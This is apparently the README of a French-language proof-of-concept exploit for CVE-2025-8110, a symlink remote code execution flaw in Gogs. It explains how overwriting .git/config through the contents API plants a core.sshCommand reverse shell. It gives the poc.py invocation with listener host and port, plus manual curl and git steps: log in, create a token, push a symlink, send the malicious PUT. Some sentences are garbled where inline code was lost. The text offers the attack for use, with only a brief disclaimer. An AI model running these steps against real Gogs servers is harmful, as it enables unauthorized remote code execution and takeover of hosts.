
Exploit one-shot pour la RCE par symlink de Gogs (CVE-2025-8110) qui déclenche un reverse shell via une seule requête PUT vers UpdateRepoFile.
Script de preuve de concept Python pour CVE-2025-8110 — RCE par lien symbolique UpdateRepoFile dans Gogs v0.13.3. En un seul tir : la requête PUT malveillante déclenche elle-même git fetch → sshCommand → reverse shell.
⚠️ Pour la recherche en sécurité éducative et autorisée uniquement. Exécuter cet outil contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal.
Le gestionnaire UpdateRepoFile dans internal/db/repo_editor.go appelle pour écrire le contenu du fichier, ce qui suit les liens symboliques sans les vérifier. Combiné au fait que les commits précédents de liens symboliques traversent dans , un attaquant peut :
os.WriteFile.git/x → .git/config vers le dépôt nuPUT /api/v1/repos/{owner}/{repo}/contents/x avec un .git/config malveillant contenant core.sshCommand défini sur une commande reverse shellgit fetch origin (via CreateOrUpdateRepoFile → UpdateLocalCopyBranch), qui lit la configuration modifiée et exécute sshCommand — déclenchant un reverse shell en une seule fois.poc.py : demande la cible, le nom d'utilisateur, le mot de passe, LHOST et LPORT ; se connecte, crée un jeton API, crée un dépôt, pousse un lien symbolique et écrase .git/config via l'API — la requête PUT unique déclenche elle-même le reverse shell.Exécutez :
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argument | Requis | Description |
|---|---|---|
--target / -t | Oui | Nom d'hôte ou URL de la cible Gogs |
--username | Oui | Nom d'utilisateur Gogs existant |
--password | Oui | Mot de passe Gogs existant |
--lhost | Oui | IP de l'écouteur pour le reverse shell |
--lport | Oui | Port de l'écouteur |
/user/settings/applicationsx → .git/config, fait un commit et le poussePUT /api/v1/repos/{owner}/{repo}/contents/x avec une configuration git malveillante contenant core.sshCommand et une URL distante SSH. CreateOrUpdateRepoFile de Gogs appelle en interne UpdateLocalCopyBranch → git fetch origin, qui lit la configuration empoisonnée et exécute sshCommand — déclenchant un reverse shell en une seule requête.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
La requête PUT elle-même déclenche git fetch origin, qui lit le .git/config empoisonné et exécute le reverse shell. Aucune seconde requête n'est nécessaire.
Pourquoi
--max-time 10? Le serveur peut rester bloqué pendant ~10s pendant que git traite l'écriture et déclenche le fetch. Utiliser--max-time 10garantit que curl maintient la connexion ouverte assez longtemps pour que le shell se reconnecte. Sans cela, la connexion peut être interrompue avant que le shell ne se déclenche.